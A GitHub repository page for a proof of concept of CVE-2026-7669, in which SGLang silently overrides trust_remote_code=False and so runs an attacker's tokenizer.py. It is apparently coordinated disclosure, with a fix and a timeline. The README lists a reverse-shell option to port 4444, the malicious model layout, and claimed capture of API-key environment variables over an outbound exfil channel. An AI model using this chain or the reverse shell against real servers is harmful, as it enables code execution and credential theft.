gouldnicholas / CVE-2026-7669-PoC Public

Code Issues Pull requests Actions Projects Security and quality Insights

main 1 Branch 0 Tags Go to file Go to file Code

gouldnicholas Add Phase 5: HTTP auth + chain reachability tests ef04db9 · 4 hours ago

sglang_source/python	Initial PoC for CVE-2026-7669 (SGLang sil…	4 hours ago
.gitignore	Initial PoC for CVE-2026-7669 (SGLang sil…	4 hours ago
Dockerfile	Initial PoC for CVE-2026-7669 (SGLang sil…	4 hours ago
Dockerfile.versions	Initial PoC for CVE-2026-7669 (SGLang sil…	4 hours ago
LICENSE	Initial PoC for CVE-2026-7669 (SGLang sil…	4 hours ago
README.md	Add Phase 5: HTTP auth + chain reachabili…	4 hours ago
entrypoint.sh	Initial PoC for CVE-2026-7669 (SGLang sil…	4 hours ago
pinned_versions.json	Initial PoC for CVE-2026-7669 (SGLang sil…	4 hours ago
run.sh	Initial PoC for CVE-2026-7669 (SGLang sil…	4 hours ago
run_poc.py	Add Phase 5: HTTP auth + chain reachabili…	4 hours ago
setup_model.py	Initial PoC for CVE-2026-7669 (SGLang sil…	4 hours ago
test_server.py	Initial PoC for CVE-2026-7669 (SGLang sil…	4 hours ago
test_versions.py	Initial PoC for CVE-2026-7669 (SGLang sil…	4 hours ago
test_versions.sh	Initial PoC for CVE-2026-7669 (SGLang sil…	4 hours ago
verify_import.py	Initial PoC for CVE-2026-7669 (SGLang sil…	4 hours ago

README License

CVE-2026-7669

SGLang silently overrides `trust_remote_code=False` to `True` and re-invokes `AutoTokenizer.from_pretrained` whenever transformers v5 returns a `TokenizersBackend` object. A model with a custom `tokenizer_class` and an `auto_map` pointing at `tokenizer.py` reaches arbitrary code execution inside the SGLang process even when the operator passed `False`. No log line is emitted at any level.

- Project: https://github.com/sgl-project/sglang
- Affected: 0.5.10 through current `main` (commit `fae90abf6`)
- Not affected: 0.5.9 and earlier
- Vulnerable code: `python/sglang/srt/utils/hf_transformers_utils.py:898-909`
- CVSS 3.1: `AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H` = 8.8 High
- CWE: 693, 94, 829

Vulnerable code

```
if not trust_remote_code and type(tokenizer).__name__ == "TokenizersBackend":
    tokenizer = AutoTokenizer.from_pretrained(
        tokenizer_name,
        *args,
```

```
        trust_remote_code=True,
        tokenizer_revision=tokenizer_revision,
        clean_up_tokenization_spaces=False,
        **kwargs,
    )
```

Introduced in PR #17784 (commit `d1e95af28`, 2026-03-18). The original `logger.info(...)` notice was removed by commit `27ac831a8` (2026-03-23) under a "docs: improve CI and testing documentation" title, leaving the override entirely silent in every released vulnerable version.

Reproduce

```
git clone https://github.com/<your-org>/CVE-2026-7669.git
cd CVE-2026-7669
./run.sh
```

Builds a Docker image (`python:3.12.7-slim-bookworm` + `transformers==5.3.0`

- pinned SGLang source) and runs the PoC. Around 30-60 seconds first run. No GPU required.

Other modes:

```
./run.sh --server         reproduce via TokenizerManager.__init__
./run.sh --versions       transformers 5.0..5.5 matrix
./run.sh --revshell IP    opt-in reverse shell to IP:4444
./run.sh --rebuild        force --no-cache rebuild
./run.sh --copy-ledger ./ledger.json
```

Verdict

Exit 0 means confirmed. Final summary:

```
Phase 1   transformers + False            return=TokenizersBackend     exec=False
Phase 1b  PATCHED sglang + False          return=TokenizersBackend     exec=False
Phase 2   REAL sglang + False             return=MaliciousTokenizer    exec=True
Phase 2b  PATCHED sglang + True           return=MaliciousTokenizer    exec=True
Phase 3   REAL sglang + False (slow)      return=MaliciousTokenizer    exec=True

Claims:  29 PASS  /  0 FAIL  /  0 N/A  /  29 TOTAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H = 8.8 High

*** VULNERABILITY CONFIRMED -- ALL CLAIMS BACKED ***
```

Exit codes:

Code	Meaning
0	Confirmed
1	Not triggered
2	False positive (transformers itself executed `tokenizer.py`, bug is upstream)
3	Pinned-version preflight failed

Pinned environment

The preflight phase reads `pinned_versions.json` and asserts every value against the runtime environment. Drift exits 3 before any test runs.

Component	Pin
Python	`3.12.7-slim-bookworm`

Component	Pin
transformers	`5.3.0`
SGLang commit	`fae90abf6e15aaffb6fd924a4392536747714 87d`
`hf_transformers_utils.py` SHA256	`9e798eabf2451630bd5939aa9aa65ec397a769157f26fb905057c17ee938497e`
Vulnerable block (lines 898-909) SHA256	`109fe46208631b80a58755799b44339e19b6902ffe76d68f18b31a59e26b2ece`

CVSS justification

Metric	Value	Backed by
AV	N	Trigger files (`config.json` , `tokenizer_config.json` , `tokenizer.json` , `tokenizer.py`) are the standard HF Hub `auto_map` layout. Any registry that serves them reaches the bug.
AC	L	`PHASE-2` fires deterministically on a single run. Every trigger condition is attacker-authored content. `PRE-1..7` confirm no environment fingerprinting.
PR	N	Free HF Hub upload is sufficient. Nothing in the trigger chain requires pre-existing privilege on the victim.
UI	R	The trigger fires only when an operator (or operator-configured pipeline) invokes `launch_server --model-path attacker/model` .
S	U	All `SEV-*` claims run inside the SGLang process authority. No sandbox or container escape.
C	H	`SEV-secrets` captures `HF_TOKEN` , `OPENAI_API_KEY` , `ANTHROPIC_API_KEY` , `GPG_KEY` from process env. `SEV-network` opens an outbound TCP exfil channel.
I	H	`SEV-write-sglang` , `SEV-write-launchsrv` , `SEV-write-model` , `SEV-pip` are four independent integrity primitives in different sensitive locations.
A	H	Inferred from RCE. `SEV-pip` proves arbitrary subprocess execution, which is the same primitive needed for self-DoS. The PoC does not directly demo a self-kill.

8.8 is the conservative floor. 9.6 (with `S:C`) and 10.0 (both `S:C` and `UI:N`) are defensible but reviewer-dependent.

`UI:N` is **not** justified for this CVE. SGLang's HTTP server has a genuine default-no-auth bypass when `api_key=None` and `admin_api_key=None` (verified by `AUTH-1` against the `decide_request_auth` primitive at runtime), but no HTTP endpoint reaches `get_tokenizer` post-startup (verified by `CHAIN-1`). All four `get_tokenizer` call sites (`TokenizerManager.__init__` , `Scheduler.__init__` `TPWorker.__init__` , `DetokenizerManager.__init__`) fire once at server launch from the operator-supplied `--model-path` . The auth bypas is therefore a separate issue and not a chain partner for CVE-2026-7669.

Claims

The PoC writes a JSON ledger at `/tmp/poc_claim_ledger.json` with 29 individually testable claims. Use `./run.sh --copy-ledger ./ledger.json` to extract it.

Group	Claims
`PRE-1..7`	Pinned versions (Python, transformers, file SHA256, line count, override-block SHA256, default `trust_remote_code` , source path)
`SRC-1`	Imported `get_tokenizer` source contains the override
`PHASE-1`	transformers respects `trust_remote_code=False` directly
`PHASE-1b` , `PHASE-1b-mech`	SGLang minus lines 898-909 respects `False` and makes exactly one `from_pretrained` call
`PHASE-2` , `PHASE-2-mech` , `PHASE-2-silent`	Real SGLang executes `tokenizer.py` . Trace shows call 0 (`False`)-> `TokenizersBackend` , call 1 (`True`)-> `MaliciousTokenizer` . No log line mentions `trust_remote_code` (DEBUG capture on root and `sglang` logger).
`PHASE-2b`	Patched + explicit `True` still loads (patch is surgical)

Group	Claims
`PHASE-3-rce`, `PHASE-3-via-override`	Slow tokenizer mode also reaches RCE through the same 898-909 path
`SEV-write-sglang`, `SEV-write-launchsrv`, `SEV-write-model`	Persistence and lateral spread primitives
`SEV-network`	Outbound TCP exfil channel
`SEV-secrets`	Env-var secret capture
`SEV-pip`	Arbitrary pip install (supply chain)
`SEV-root`	Process running as root in lmsysorg image
`AUTH-1`	Default ServerArgs (`api_key=None`, `admin_api_key=None`) leaves all `ADMIN_OPTIONAL` endpoints unauth-reachable
`AUTH-2`, `AUTH-3`	Positive controls confirming middleware blocks unauth and accepts valid bearer when configured
`CHAIN-1`	No HTTP endpoint handler invokes `get_tokenizer()` post-startup (zero call sites in `http_server.py`)
`CHAIN-2`	Explicit verdict: UI:N is NOT justified for this CVE. The default-no-auth bypass is real but cannot reach the trust_remote_code override, because all four `get_tokenizer` callers (TokenizerManager / Scheduler / TPWorker / DetokenizerManager) are `__init__` paths fired once at server launch. The operator still chooses the model path at `launch_server` time, so UI:R stands.

Mechanism

Trigger model files (all attacker-controlled, all permitted by HF Hub):

```
attacker/model/
  config.json             model_type "gpt2" (in transformers' TOKENIZER_MAPPING_NAMES)
  tokenizer_config.json   custom tokenizer_class + auto_map -> tokenizer.py
  tokenizer.json          valid BPE tokenizer (so the first load succeeds)
  tokenizer.py            payload
  model.safetensors       dummy weights
```

Execution flow inside `get_tokenizer(MODEL_DIR, trust_remote_code=False)`:

1. SGLang calls `AutoTokenizer.from_pretrained(..., trust_remote_code=False)`.
2. Transformers v5, finding a custom `tokenizer_class` not in its registry, falls back to a generic `TokenizersBackend` built from `tokenizer.json`. `tokenizer.py` is not executed at this point.
3. SGLang's lines 898-909 check `type(tokenizer).__name__ == "TokenizersBackend"` and silently retry with `trust_remote_code=True`.
4. Transformers, now told to trust remote code, imports `tokenizer.py`. Top-level statements run inside the SGLang process.

The PoC's `PHASE-2-mech` captures the trace literally:

```
[{idx: 0, trust_remote_code: False, returned_type: "TokenizersBackend"},
 {idx: 1, trust_remote_code: True,  returned_type: "MaliciousTokenizer"}]
```

Fix

Delete lines 898-909. `TokenizersBackend` is a usable tokenizer for many workloads and returning it as-is is a safe default. If a model genuinely needs custom tokenizer code, the operator should pass `--trust-remote-code` explicitly.

Alternatively, log a loud warning and return `TokenizersBackend` without re-invoking `from_pretrained`:

```
if not trust_remote_code and type(tokenizer).__name__ == "TokenizersBackend":
    logger.warning(
        "Model %s requires a custom tokenizer but trust_remote_code=False. "
        "Returning generic TokenizersBackend without executing tokenizer.py. "
```

```
        "Restart with --trust-remote-code if the custom code is required.",
        tokenizer_name,
    )
```

`PHASE-2b` verifies the minimal patch is surgical: explicit `trust_remote_code=True` still loads the model.

Disclosure

- 2026-04-07: discovered, working PoC
- 2026-04-07: reported via SGLang Private Vulnerability Reporting and VulDB
- 2026-05-03: CVE-2026-7669 assigned
- 2026-05-04: this PoC published

Credits

- Nick Gould (@gouldnicholas, nick.gould777343 @ gmail.com)
- David Rochester (@davidrxchester, rochesterdcj @ gmail.com)

References

- Vulnerable code: https://github.com/sgl-project/sglang/blob/fae90abf6e15aaffb6fd924a439253674771487d/python/sglang/srt/utils/hf_transformers_utils.py#L898-L909
- Introducing PR: sgl-project/sglang#17784
- Log-removal commit: https://github.com/sgl-project/sglang/commit/27ac831a8
- HuggingFace `trust_remote_code`: https://huggingface.co/docs/transformers/main/en/model_doc/auto#from-pretrained

Releases

No releases published

Packages

No packages published

Contributors 1

gouldnicholas Nicholas Gould

Languages

Python 96.3% **Cuda** 2.3% **C++** 1.3% **Other** 0.1%